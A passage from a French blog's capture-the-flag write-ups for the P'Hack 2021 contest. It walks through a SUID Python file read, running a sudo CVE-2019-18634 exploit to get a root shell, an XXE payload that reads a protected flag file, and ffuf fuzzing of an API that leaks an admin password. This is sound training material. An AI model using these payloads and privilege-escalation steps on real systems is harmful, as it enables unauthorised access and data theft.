<!--kg-card-end: markdown--><h2 id="to-b-or-to-b-128pts">To B, or ! to B - 128pts</h2><blockquote>Votre client vous remercie pour votre travail et vous assure qu&apos;il a fait les modifications n&#xE9;cessaires pour am&#xE9;liorer la s&#xE9;curit&#xE9; de son serveur applicatif. <br>Prouvez-lui que ce n&apos;est toujours pas suffisant.<br><br>=== Connexion SSH ===<br>Login : <code>padawan</code><br>Mdp : &#xA0;<code>padawan</code><br>Serveur :<code> toBOrNot2B.phack.fr</code></blockquote><!--kg-card-begin: markdown--><p>On se connecte sur le nouveau serveur, m&#xEA;me message que pr&#xE9;c&#xE9;demment mais cette fois la commande sudo n&apos;est pas disponible. On tente de chercher les fichiers qui aurait un suid avec la commande suivante.</p>
<pre><code class="language-text">$ find / -perm -4000 2&gt;&gt; /dev/null
/usr/bin/python3.8
</code></pre>
<p>On v&#xE9;rifie cet ex&#xE9;cutable avec</p>
<pre><code class="language-text">$ ls -l /usr/bin/python3.8
-rwsr-xr-x    1 master   root         14048 Mar 15 12:52 /usr/bin/python3.8
</code></pre>
<p>Justement le suid est pour l&apos;utilisateur master. On va donc se servir de python pour devenir master et lire le fichier.</p>
<pre><code class="language-text">$ ./python3.8 -c &apos;print(open(&quot;/home/master/flag.txt&quot;, &quot;r&quot;).read());&apos;
PHACK{U_4r3_hiM_bu7_h3&apos;s_n07_U}
</code></pre>
<!--kg-card-end: markdown--><h2 id="sudoku-v2-256pts">Sudoku v2 - 256pts</h2><blockquote>L&apos;administrateur du serveur a voulu vous aider en ajoutant une aide visuelle lors de la saisie de votre mot de passe. <br>Hum Hum.. C&apos;est pas une bonne id&#xE9;e ! <br><br>=== Connexion SSH ===<br>Login : <code>padawan</code><br>Mdp : &#xA0;<code>padawan</code><br>Serveur :<code> sudoku2.phack.fr</code></blockquote><p></p><!--kg-card-begin: markdown--><p>On commence par lancer la commande sudo pour v&#xE9;rifier si on a pas des droits sur quelque chose</p>
<pre><code class="language-text">$ sudo -l
[sudo] password for padawan:********
Sorry, user padawan may not run sudo on sudoku-2.
</code></pre>
<p>Il semble qu&apos;on soit tomb&#xE9; sur cette histoire d&apos;aide visuelle justement. On va en apprendre un peu plus sur sudo avec la commande suivante</p>
<pre><code class="language-text">$ sudo --version
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
</code></pre>
<p>Une petite recherche google nous apprend qu&apos;on peut exploiter cette version quand l&apos;aide visuelle est justement activ&#xE9; <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-18634">https://nvd.nist.gov/vuln/detail/CVE-2019-18634</a>. On trouve ce repo github contenant plusieurs exploits pour sudo. On ne r&#xE9;cup&#xE8;re que celui qui nous int&#xE9;resse.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-bookmark-card"><a class="kg-bookmark-container" href="https://github.com/TH3xACE/SUDO_KILLER"><div class="kg-bookmark-content"><div class="kg-bookmark-title">TH3xACE/SUDO_KILLER</div><div class="kg-bookmark-description">A tool to identify and exploit sudo rules&#x2019; misconfigurations and vulnerabilities within sudo for linux privilege escalation. - TH3xACE/SUDO_KILLER</div><div class="kg-bookmark-metadata"><img class="kg-bookmark-icon" src="https://github.githubassets.com/favicons/favicon.svg" alt><span class="kg-bookmark-author">GitHub</span><span class="kg-bookmark-publisher">TH3xACE</span></div></div><div class="kg-bookmark-thumbnail"><img src="https://repository-images.githubusercontent.com/160875594/b2af8780-e60e-11ea-8c67-a4d2534b69c3" alt></div></a></figure><!--kg-card-begin: markdown--><p>On lance l&apos;exploit et on obtient un shell root en quelques secondes</p>
<pre><code class="language-text">$ ./CVE-2019-18634.sh
[sudo] password for padawan: 
Sorry, try again.
Sorry, try again.
bash-5.1# exit
sudo: 3 incorrect password attempts
Exploiting!
# whoami
root
</code></pre>
<p>Il ne nous reste plus qu&apos;&#xE0; lire le fichier maintenant qu&apos;on est root.</p>
<pre><code class="language-text"># cat /home/master/flag.txt      
PHACK{*_****_****_****_***_**_*_****_***}
</code></pre>
<p>Et oui, le flag est plein d&apos;&#xE9;toiles...</p>
<!--kg-card-end: markdown--><h2 id="graduated-256pts">Graduated - 256pts</h2><blockquote>Vous avez rat&#xE9; votre examen de PHP. Cheh!<br>Furieux, vous avez d&#xE9;cid&#xE9; de prouver vos comp&#xE9;tences en modifiant directement votre note sur le serveur de votre &#xE9;cole. <br>Vous avez r&#xE9;ussi &#xE0; compromettre les identifiants de votre professeur absent. <br><br>=== Connexion SSH ===<br>Login : <code>teacher</code><br>Mdp : &#xA0;<code>teacher</code><br>Serveur :<code> graduated.phack.fr</code></blockquote><p>Et le message de bienvenue du serveur</p><blockquote>Bienvenue !<br>Le flag se trouve dans /home/rector/flag.txt<br>Malheureusement, tu n&apos;as pas les droits de le lire.<br>Trouves un moyen d&apos;y acc&#xE9;der par toi m&#xEA;me.<br>Bonne chance...</blockquote><!--kg-card-begin: markdown--><p>On va faire un tour dans le home de l&apos;utilisateur <code>rector</code> et on y d&#xE9;couvre plusieurs choses :</p>
<pre><code class="language-text">$ ls -l
total 2236
-r--------    1 rector   root            39 Apr  1 22:56 flag.txt
-rw-r--r--    1 rector   nogroup      12288 Apr  7 09:49 graduation.db
-rw-r--r--    1 rector   root       2257947 Apr 11 15:06 integrator.log
-r-xr-----    1 rector   root          4708 Apr  1 22:56 integrator.py
</code></pre>
<p>Le fichier <code>graduation.db</code> semble &#xEA;tre une base de donn&#xE9;es SQLite qui contient les notes des &#xE9;l&#xE8;ves justement. Et le fichier <code>integrator.log</code> on suppose est le log de l&apos;ex&#xE9;cution du script python <code>integrator.py</code> auquel nous n&apos;avons pas acc&#xE8;s.</p>
<pre><code class="language-text">$ tail -n 10 integrator.log 
11/04/2021 15:07:00     [+] Lancement de l&apos;int&#xE9;gration
11/04/2021 15:07:00     [+] Analye des fichiers dans &quot;/home/teacher/evaluations/&quot;.
11/04/2021 15:07:00     [+] Int&#xE9;gration termin&#xE9;e


11/04/2021 15:08:00     [+] Lancement de l&apos;int&#xE9;gration
11/04/2021 15:08:00     [+] Analye des fichiers dans &quot;/home/teacher/evaluations/&quot;.
11/04/2021 15:08:00     [+] Int&#xE9;gration termin&#xE9;e
</code></pre>
<p>On suppose que le script analyse un fichier dans <code>/home/teacher/evaluations/</code> pour l&apos;int&#xE9;grer dans la base de donn&#xE9;es SQLite. On retourne dans notre home directory et on trouve un fichier <code>template.xml</code> qui contient le XML suivant</p>
<pre><code class="language-xml">$ cat template.xml 
&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;
&lt;evaluation&gt;
  &lt;student&gt;
    &lt;firstname&gt;Xavier&lt;/firstname&gt;
    &lt;lastname&gt;DUPONT DE L&lt;/lastname&gt;
  &lt;/student&gt;
  &lt;grade&gt;15&lt;/grade&gt;
  &lt;subject&gt;Biologie&lt;/subject&gt;
  &lt;teacher&gt;
    &lt;firstname&gt;Emile&lt;/firstname&gt;
    &lt;lastname&gt;LOUIS&lt;/lastname&gt;
  &lt;/teacher&gt;
  &lt;comment&gt;El&#xE8;ve motiv&#xE9; et consciencieux. Ne parle pas beaucoup avec les autres &#xE9;tudiants. Attention : Absence en cours depuis plusieurs semaines.&lt;/comment&gt;
&lt;/evaluation&gt;
</code></pre>
<p>On essaie de changer le texte puis de mettre ce template dans le dossier <code>./evaluations</code> et une minute plus tard, il est int&#xE9;gr&#xE9; dans la base de donn&#xE9;es. On a donc trouv&#xE9; d&apos;o&#xF9; viennent les notes. Pour obtenir un peu plus d&apos;information sur ce qui est utilis&#xE9; dans le script python, on va volontairement lui fournir un xml non valide. Une fois int&#xE9;gr&#xE9;, on retourne voir le log et on d&#xE9;couvre :</p>
<pre><code class="language-text">11/04/2021 15:14:00     [+] Lancement de l&apos;int&#xE9;gration
11/04/2021 15:14:00     [+] Analye des fichiers dans &quot;/home/teacher/evaluations/&quot;.
11/04/2021 15:14:00     [+] Fichier &quot;aa.xml&quot; en cours d&apos;analyse.
Traceback (most recent call last):
  File &quot;/home/rector/integrator.py&quot;, line 137, in &lt;module&gt;
    process()
  File &quot;/home/rector/integrator.py&quot;, line 104, in process
    tree = etree.parse(GRADE_FOLDER_PATH + filename, parser)
  File &quot;src/lxml/etree.pyx&quot;, line 3521, in lxml.etree.parse
  File &quot;src/lxml/parser.pxi&quot;, line 1859, in lxml.etree._parseDocument
  File &quot;src/lxml/parser.pxi&quot;, line 1885, in lxml.etree._parseDocumentFromURL
  File &quot;src/lxml/parser.pxi&quot;, line 1789, in lxml.etree._parseDocFromFile
  File &quot;src/lxml/parser.pxi&quot;, line 1177, in lxml.etree._BaseParser._parseDocFromFile
  File &quot;src/lxml/parser.pxi&quot;, line 615, in lxml.etree._ParserContext._handleParseResultDoc
  File &quot;src/lxml/parser.pxi&quot;, line 725, in lxml.etree._handleParseResult
  File &quot;src/lxml/parser.pxi&quot;, line 654, in lxml.etree._raiseParseError
  File &quot;/home/teacher/evaluations/aa.xml&quot;, line 16
lxml.etree.XMLSyntaxError: EndTag: &apos;&lt;/&apos; not found, line 16, column 1
</code></pre>
<p>On apprend que le parseur XML utilis&#xE9; est <code>lxml</code>. On va tester une Injection XXE (XML eXternal Entity) pour essayer de faire lire le flag lors du parsing XML. On cr&#xE9;&#xE9; le fichier suivant</p>
<pre><code class="language-xml">&lt;!DOCTYPE evaluation [
        &lt;!ENTITY flagme SYSTEM &quot;/home/rector/flag.txt&quot;&gt;
]&gt;
&lt;evaluation&gt;
  &lt;student&gt;
    &lt;firstname&gt;PLOP&lt;/firstname&gt;
    &lt;lastname&gt;BOUHBOUH&lt;/lastname&gt;
  &lt;/student&gt;
  &lt;grade&gt;12&lt;/grade&gt;
  &lt;subject&gt;Bio&lt;/subject&gt;
  &lt;teacher&gt;
    &lt;firstname&gt;Emile&lt;/firstname&gt;
    &lt;lastname&gt;LOUIS&lt;/lastname&gt;
  &lt;/teacher&gt;
  &lt;comment&gt;un petit commentaire &amp;flagme;&lt;/comment&gt;
&lt;/evaluation&gt;
</code></pre>
<p>Et apr&#xE8;s une minute, notre fichier est lu et int&#xE9;gr&#xE9; par le script python, un simple cat sur le fichier de base de donn&#xE9;es nous permet de r&#xE9;cup&#xE9;rer le flag</p>
<pre><code class="language-text">PHACK{XmL_3x7Ern4l_3n7i7iEs_fr0m_b4sH}
</code></pre>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[P'Hack - Web]]></title><description><![CDATA[<p>Une dizaine de challenge dans cette cat&#xE9;gorie</p><h3 id="hello-world-32pts">Hello World - 32pts</h3><blockquote>Vous &#xEA;tes d&#xE9;butants ?<br>Nous vous avions dit que ce n&apos;&#xE9;tait pas un probl&#xE8;me.<br>Voici de quoi commencer !<br><br>Lien du challenge : <a href="http://hello-world.phack.fr/">hello-world.phack.fr</a></blockquote><p>Un petit challenge tr&#xE8;s</p>]]></description><link>https://blog.julienmialon.com/phack-web/</link><guid isPermaLink="false">6070bd0c09b5560001f637b1</guid><category><![CDATA[ctf]]></category><category><![CDATA[ctf-phack]]></category><category><![CDATA[ctf-web]]></category><dc:creator><![CDATA[Julien Mialon]]></dc:creator><pubDate>Sun, 11 Apr 2021 16:00:32 GMT</pubDate><content:encoded><![CDATA[<p>Une dizaine de challenge dans cette cat&#xE9;gorie</p><h3 id="hello-world-32pts">Hello World - 32pts</h3><blockquote>Vous &#xEA;tes d&#xE9;butants ?<br>Nous vous avions dit que ce n&apos;&#xE9;tait pas un probl&#xE8;me.<br>Voici de quoi commencer !<br><br>Lien du challenge : <a href="http://hello-world.phack.fr/">hello-world.phack.fr</a></blockquote><p>Un petit challenge tr&#xE8;s simple juste pour se mettre en route, &#xE7;a permet aussi de v&#xE9;rifier que les configurations VPN fonctionnent bien. On ouvre l&apos;url et on se retrouve sur une page avec un bouton &#xE0; cliquer : </p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-7.png" class="kg-image" alt loading="lazy" width="430" height="232"></figure><p>On arrive sur la page <a href="http://hello-world.phack.fr/step-1-28d43e77.php">http://hello-world.phack.fr/step-1-28d43e77.php</a> et on nous indique de ne surtout pas regarder le code source de la page. &#xC0; ce niveau l&#xE0; je commence &#xE0; switcher et &#xE0; passer les requ&#xEA;tes sur Postman. On a un lien vers la page 2 en commentaire dans les sources <a href="http://hello-world.phack.fr/step-2-c1cc9945.php">http://hello-world.phack.fr/step-2-c1cc9945.php</a>. On nous indique de regarder les header HTTP pour r&#xE9;cup&#xE9;rer l&apos;adresse de la page 3 <a href="http://hello-world.phack.fr/step-3-ec119828.php">http://hello-world.phack.fr/step-3-ec119828.php</a>. On va ensuite voir dans les cookies (ou dans le Header HTTP Set-Cookie) pour r&#xE9;cup&#xE9;rer l&apos;adresse suivante <a href="http://hello-world.phack.fr/step-4-b270e4f9.php">http://hello-world.phack.fr/step-4-b270e4f9.php</a>. Sur la page est affich&#xE9; un texte en Base64 : </p><!--kg-card-begin: markdown--><p><code>c3RlcC01LTFjM2VmNzA2LnBocA==</code></p>
<!--kg-card-end: markdown--><p>Texte que l&apos;on d&#xE9;code en l&apos;adresse de la page 5 <a href="http://hello-world.phack.fr/step-5-1c3ef706.php">http://hello-world.phack.fr/step-5-1c3ef706.php</a> o&#xF9; est affich&#xE9; un hash md5 &#xE0; craquer avant de le soumettre via un formulaire. Le hash est : 8621ffdbc5698829397d97767ac13db3, on le soumet sur <a href="https://crackstation.net">https://crackstation.net</a> et on r&#xE9;cup&#xE8;re le r&#xE9;sultat qu&apos;on soumet afin de passer &#xE0; l&apos;&#xE9;tape suivante sur la page <a href="http://hello-world.phack.fr/step-6-c1867dd2.php">http://hello-world.phack.fr/step-6-c1867dd2.php</a>. Cette page nous indique d&apos;appeler une fonction javascript avec un nom sp&#xE9;cifique, on ouvre la console du navigateur et on lance l&apos;appel &#xE0; la fonction. L&apos;appel fait une redirection vers la derni&#xE8;re page <a href="http://hello-world.phack.fr/step-7-d7c86a9d.php">http://hello-world.phack.fr/step-7-d7c86a9d.php</a> qui contient le flag :</p><!--kg-card-begin: markdown--><p><code>PHACK{W3lc0me_To_7h3_H4ch1ng_WooorlD!!}</code></p>
<!--kg-card-end: markdown--><h3 id="wall-e-64pts">Wall-E - 64pts</h3><blockquote><strong>Wall-E</strong> est le dernier &#xEA;tre sur Terre !<br>Aide-le &#xE0; trouver son chemin dans ce dr&#xF4;le de monde.<br><br>Lien du challenge : <a href="http://wall-e.phack.fr">wall-e.phack.fr</a></blockquote><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-21.png" class="kg-image" alt loading="lazy" width="1271" height="784" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-21.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/04/image-21.png 1000w, https://blog.julienmialon.com/content/images/2021/04/image-21.png 1271w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>On teste rapidement les diff&#xE9;rentes pages du site, rien de probant qui nous donnerait un indice sur comment d&#xE9;marrer ce challenge dans les sources du site, une barre de recherche qui ne fait rien, un formulaire de contact mal impl&#xE9;ment&#xE9; qui renvoie version une erreur HTTP 405. Mais il y a cette notion de robot et <strong>Wall-E</strong> dans le sujet est en gras, on tente de r&#xE9;cup&#xE9;rer le fichier <code>/robots.txt</code> et on y trouve le contenu suivant :</p>
<pre><code class="language-text">User-Agent: WallEbot
Allow: /index.html
Disallow: /8059dd56-3bfb-11eb-adc1-0242ac120002/nothing-here.txt
</code></pre>
<p>On acc&#xE8;de donc &#xE0; cette page myst&#xE8;rieuse o&#xF9; notre petit robot n&apos;a pas le droit d&apos;acc&#xE9;der et on trouve le flag !</p>
<pre><code class="language-text">PHACK{r0b07s_4r3_tH3_n3w_hUm4Ns}
</code></pre>
<!--kg-card-end: markdown--><h3 id="fuzz-me-128pts">Fuzz Me - 128pts</h3><blockquote>Votre ami vient vous voir en panique car il a perdu ses identifiants et il ne peut plus se connecter &#xE0; son site pr&#xE9;f&#xE9;r&#xE9;.<br>Aidez-le &#xE0; sauver la situation.<br><br>Lien du challenge : <a href="http://fuzz-me.phack.fr">fuzz-me.phack.fr</a></blockquote><p>On nous pr&#xE9;sente ici un formulaire de login et rien d&apos;autre de disponible. </p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-17.png" class="kg-image" alt loading="lazy" width="1362" height="804" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-17.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/04/image-17.png 1000w, https://blog.julienmialon.com/content/images/2021/04/image-17.png 1362w" sizes="(min-width: 720px) 720px"></figure><!--kg-card-begin: markdown--><p>Vu le titre du challenge, on va tenter de fuzzer (essayer) diff&#xE9;rentes pages via un outil automatique pour voir si on pourrait d&#xE9;couvrir d&apos;autre page du site qui ne serait peut &#xEA;tre pas s&#xE9;curis&#xE9;. (les commandes suivantes sont utilis&#xE9; dans <a href="https://github.com/ShutdownRepo/Exegol">Exegol</a></p>
<pre><code class="language-text">$ ffuf -c -w `fzf-wordlists` -u http://fuzz-me.phack.fr/FUZZ -fc 404 -mc all
</code></pre>
<p>En donnant une liste communes de noms de page web, on se retrouve malheureusement avec uniquement <code>favicon.icon</code> de d&#xE9;tect&#xE9;. En retournant sur le site, on voit qu&apos;au clic sur le bouton connexion, un appel est fait avec les param&#xE8;tres entr&#xE9;s : <code>POST http://fuzz-me.phack.fr/api/login</code>. On va essayer de fuzzer sur <code>/api</code> peut &#xEA;tre qu&apos;on aura plus de chances.</p>
<pre><code class="language-text">$ ffuf -c -w `fzf-wordlists` -u http://fuzz-me.phack.fr/api/FUZZ -fc 404 -mc all

        /&apos;___\  /&apos;___\           /&apos;___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://fuzz-me.phack.fr/api/FUZZ
 :: Wordlist         : FUZZ: /usr/share/dirb/wordlists/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response status: 404
________________________________________________

login                   [Status: 405, Size: 178, Words: 20, Lines: 5]
sessions                [Status: 200, Size: 1332, Words: 1, Lines: 2]
user                    [Status: 400, Size: 33, Words: 4, Lines: 1]
:: Progress: [4614/4614] :: Job [1/1] :: 245 req/sec :: Duration: [0:00:20] :: Errors: 0 ::
</code></pre>
<p>Pour le coup, on a un r&#xE9;sultat un peu plus int&#xE9;ressant, on retrouve notre page <code>login</code> mais on d&#xE9;couvre &#xE9;galement deux autres url accessible, <code>sessions</code> et <code>user</code>. On commence par <code>/api/sessions</code> qui a le m&#xE9;rite de nous renvoyer une HTTP 200 OK et on tombe sur une r&#xE9;ponse json qui contient du json en base64 :</p>
<pre><code class="language-json">{
   &quot;sessions&quot;:[
      &quot;eyJ1c2VyIjogIjY1YTlmYzRjLWIwNDYtNDE3OS1iMDE5LTdlMDcxZDFjZTc5ZiIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIitBSEc5NUZKeHRzNGoxNFJuTHdxaEE9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfmI0ifQ==&quot;,
      &quot;eyJ1c2VyIjogIjkwNjhjY2ZmLTBkOTgtNGViNS1iMjdkLTQyZDcwZTQyYmRkZCIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIkkvS3M1clg0SGJSb2hhbm9pc1lUOXc9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfpoQifQ==&quot;,
      &quot;eyJ1c2VyIjogImIwZWU5YjNjLTdkNjMtNDQwZi05ZDcyLWM3NTg2ODZiMDVlNCIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIjYwY3k4bUJrM3luOFNhRisvSGVhUHc9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfkp0ifQ==&quot;,
      &quot;eyJ1c2VyIjogIjEzYTE0NTExLTc3NzktNDJmNS04MjliLTc1OTc3MzRjODc0YyIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIjRVQWljczZ3TzkvVzM3Qjd2Q0NQT3c9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfmYsifQ==&quot;,
      &quot;eyJ1c2VyIjogIjg3MmUwYTQxLTk5ZTUtNGU3Ni1hNWU3LTk2MDkzNzU3ZmE4MSIsICJpc0FkbWluIiA6IHRydWUsICJ3ZWlyZF9zdHVmZiIgOiAiU1NCaGJTQjBhR1VnWVdSdGFXNGdJUT09IiwgImhhcHB5X3NtaWxleSIgOiAi8J+RqOKAjfCfjbMifQ==&quot;,
      &quot;eyJ1c2VyIjogIjk2OGYyZTlkLTI3YzEtNDUwMy05NzM5LTNiMWM4NjMwNjU2NCIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIllOK1pWNWxTMkZTNjlaMmhmd1RaT3c9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfjIgifQ==&quot;,
      &quot;eyJ1c2VyIjogIjViNTgwMDcyLTM2YzAtNDU0Yi04NThiLTVmZmJjOTRiNjgyNSIsICJpc0FkbWluIiA6IGZhbHNlLCAid2VpcmRfc3R1ZmYiIDogIkZkNWlPVU9qMDJrZmU0aDMyOGplNHc9PSIsICJoYXBweV9zbWlsZXkiIDogIvCfkoMifQ==&quot;
   ]
}
</code></pre>
<p>On d&#xE9;code toutes les lignes et on r&#xE9;cup&#xE8;re les json suivants</p>
<pre><code class="language-json">{&quot;user&quot;: &quot;65a9fc4c-b046-4179-b019-7e071d1ce79f&quot;, &quot;isAdmin&quot; : false, &quot;weird_stuff&quot; : &quot;+AHG95FJxts4j14RnLwqhA==&quot;, &quot;happy_smiley&quot; : &quot;&#x1F60D;&quot;}
{&quot;user&quot;: &quot;9068ccff-0d98-4eb5-b27d-42d70e42bddd&quot;, &quot;isAdmin&quot; : false, &quot;weird_stuff&quot; : &quot;I/Ks5rX4HbRohanoisYT9w==&quot;, &quot;happy_smiley&quot; : &quot;&#x1F984;&quot;}
{&quot;user&quot;: &quot;b0ee9b3c-7d63-440f-9d72-c758686b05e4&quot;, &quot;isAdmin&quot; : false, &quot;weird_stuff&quot; : &quot;60cy8mBk3yn8SaF+/HeaPw==&quot;, &quot;happy_smiley&quot; : &quot;&#x1F49D;&quot;}
{&quot;user&quot;: &quot;13a14511-7779-42f5-829b-7597734c874c&quot;, &quot;isAdmin&quot; : false, &quot;weird_stuff&quot; : &quot;4UAics6wO9/W37B7vCCPOw==&quot;, &quot;happy_smiley&quot; : &quot;&#x1F64B;&quot;}
{&quot;user&quot;: &quot;872e0a41-99e5-4e76-a5e7-96093757fa81&quot;, &quot;isAdmin&quot; : true, &quot;weird_stuff&quot; : &quot;SSBhbSB0aGUgYWRtaW4gIQ==&quot;, &quot;happy_smiley&quot; : &quot;&#x1F468;&#x200D;&#x1F373;&quot;}
{&quot;user&quot;: &quot;968f2e9d-27c1-4503-9739-3b1c86306564&quot;, &quot;isAdmin&quot; : false, &quot;weird_stuff&quot; : &quot;YN+ZV5lS2FS69Z2hfwTZOw==&quot;, &quot;happy_smiley&quot; : &quot;&#x1F308;&quot;}
{&quot;user&quot;: &quot;5b580072-36c0-454b-858b-5ffbc94b6825&quot;, &quot;isAdmin&quot; : false, &quot;weird_stuff&quot; : &quot;Fd5iOUOj02kfe4h328je4w==&quot;, &quot;happy_smiley&quot; : &quot;&#x1F483;&quot;}
</code></pre>
<p>On tente maintenant la page <a href="http://fuzz-me.phack.fr/api/user">http://fuzz-me.phack.fr/api/user</a> o&#xF9; on r&#xE9;cup&#xE8;re une erreur.</p>
<pre><code class="language-json">{&quot;error&quot;: &quot;Param&#xE8;tre manquant !&quot;}
</code></pre>
<p>Param&#xE8;tre manquant, &#xE7;a voudrait donc dire qu&apos;on peut peut &#xEA;tre query les infos d&apos;un user &#xE0; partir de ce endpoint et qu&apos;il faut s&#xFB;rement lui passer le userId qu&apos;on a trouv&#xE9; dans la page session. On va fuzzer cette page pour trouver le nom du param&#xE8;tre. Pour cela, on indique bien au filtre de r&#xE9;cup&#xE9;rer tout ce qui n&apos;est pas une erreur HTTP 400 BadRequest.</p>
<pre><code class="language-text">$ ffuf -c -w `fzf-wordlists` \
    -u http://fuzz-me.phack.fr/api/user\?FUZZ\=13a14511-7779-42f5-829b-7597734c874c \
    -fc 400 -mc all
uuid                    [Status: 500, Size: 27, Words: 4, Lines: 1]
</code></pre>
<p>On obtient comme r&#xE9;sultat le param&#xE8;tre <code>uuid</code> mais qui renvoie une erreur HTTP 500. On ouvre l&apos;url avec le bon nom du param&#xE8;tre et on s&apos;aper&#xE7;oit que le retour json est <code>Uuid inconnu !</code>. Ok donc tout va bien, il faut juste qu&apos;on trouve le bon uuid. On met nos identifiants d&apos;utilisateur dans un fichier qu&apos;on nomme <code>userIds</code> et on relance <code>ffuf</code> pour trouver une session qui fonctionne</p>
<pre><code class="language-text">$ ffuf -c -w userIds -u http://fuzz-me.phack.fr/api/user\?uuid\=FUZZ -fc 500 -mc all
872e0a41-99e5-4e76-a5e7-96093757fa81 [Status: 200, Size: 146, Words: 16, Lines: 1]
</code></pre>
<p>Seulement l&apos;un des identifiants est valide, on ouvre l&apos;url avec cet id et on re&#xE7;oit comme r&#xE9;ponse :</p>
<pre><code class="language-json">{
   &quot;info&quot;:{
      &quot;name&quot;:&quot;Biden&quot;,
      &quot;firstname&quot;:&quot;Joe&quot;,
      &quot;login&quot;:&quot;admin&quot;,
      &quot;password&quot;:&quot;NeOIsTh3T4rget&lt;3&quot;,
      &quot;description&quot;:&quot;Pr&#xE9;sident, tout simplement.&quot;
   }
}
</code></pre>
<p>On retourne sur la page d&apos;accueil du site et on se connecte avec le login et le password de la r&#xE9;ponse. Et on nous affiche le flag :</p>
<pre><code class="language-text">PHACK{th1s_1s_H0w_w3_d0_enum3r4ti0n_m4n}
</code></pre>
<!--kg-card-end: markdown--><h3 id="x-tension-128pts">X-tension - 128pts</h3><blockquote>Votre entreprise est victime d&apos;un m&#xE9;chant ransomware.<br>Heureusement Sophie du marketing a d&#xE9;velopp&#xE9; un site pour r&#xE9;cup&#xE9;rer les fichiers chiffr&#xE9;s. <br>En tant qu&apos;expert en s&#xE9;curit&#xE9; vous jetez un oeil pour vous faire votre avis.<br><br>Lien du challenge : <a href="http://x-tension.phack.fr">x-tension.phack.fr</a></blockquote><p>Premi&#xE8;re chose que l&apos;on voit en arrivant sur le site, c&apos;est que l&apos;auteur ne tient vraiment pas &#xE0; sa RAM pour avoir d&#xE9;velopper un challenge qui ne fonctionne que sous Chrome.</p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-18.png" class="kg-image" alt loading="lazy" width="919" height="450" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-18.png 600w, https://blog.julienmialon.com/content/images/2021/04/image-18.png 919w" sizes="(min-width: 720px) 720px"></figure><p>Quelques minutes d&apos;installation plus tard, nous voici de retour pour trouver encore un message d&apos;erreur</p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-19.png" class="kg-image" alt loading="lazy" width="717" height="393" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-19.png 600w, https://blog.julienmialon.com/content/images/2021/04/image-19.png 717w"></figure><p>Une extension ? Quelle extension ?? Allons faire un tour dans les sources de la page pour trouver : </p><!--kg-card-begin: markdown--><pre><code class="language-xml">&lt;!-- TODO : Ne pas oublier d&apos;installer l&apos;extension depuis https://bit.ly/3ufGW3f --&gt;
</code></pre>
<!--kg-card-end: markdown--><p>Si tu penses que je vais installer une extension comme &#xE7;a sans savoir ce qu&apos;elle fait, tu te mets le doigt dans l&apos;oeil xD.</p><!--kg-card-begin: markdown--><pre><code class="language-text">$ wget -O extension.zip https://bit.ly/3ufGW3f
</code></pre>
<p>On d&#xE9;zippe le fichier ainsi obtenu pour avoir acc&#xE8;s au code de l&apos;extension, quelques fichiers javascript comme on pouvait s&apos;y attendre mais surtout le flag.</p>
<pre><code>PHACK{CRX_F1l3_R3v3rs1nG}
</code></pre>
<!--kg-card-end: markdown--><p><em>Le fichier de l&apos;extension est &#xE9;galement disponible ici : </em><a href="https://blog.julienmialon.com/uploads/ctf/phack/extension.zip">https://blog.julienmialon.com/uploads/ctf/phack/extension.zip</a></p><h3 id="harduino-256pts">Harduino - 256pts</h3><blockquote>Il semblerait que vous ayez trouv&#xE9; un &#xE9;trange gestionnaire de code... Vous devez surement pouvoir en tirer quelque chose.<br><br>Le flag se trouve dans le fichier <code>/flag.txt</code>.<br><br>Lien du challenge : <a href="http://harduino.phack.fr/">harduino.phack.fr</a></blockquote><p>On ouvre le site web en question et on se retrouve avec ce qui ressemble au contenu du fichier arduino.php et &#xE0; droite le r&#xE9;sultat de l&apos;ex&#xE9;cution de ce fichier. </p><figure class="kg-card kg-image-card"><img src="https://blog.julienmialon.com/content/images/2021/04/image-8.png" class="kg-image" alt loading="lazy" width="1762" height="880" srcset="https://blog.julienmialon.com/content/images/size/w600/2021/04/image-8.png 600w, https://blog.julienmialon.com/content/images/size/w1000/2021/04/image-8.png 1000w, https://blog.julienmialon.com/content/images/size/w1600/2021/04/image-8.png 1600w, https://blog.julienmialon.com/content/images/2021/04/image-8.png 1762w" sizes="(min-width: 720px) 720px"></figure><p>La 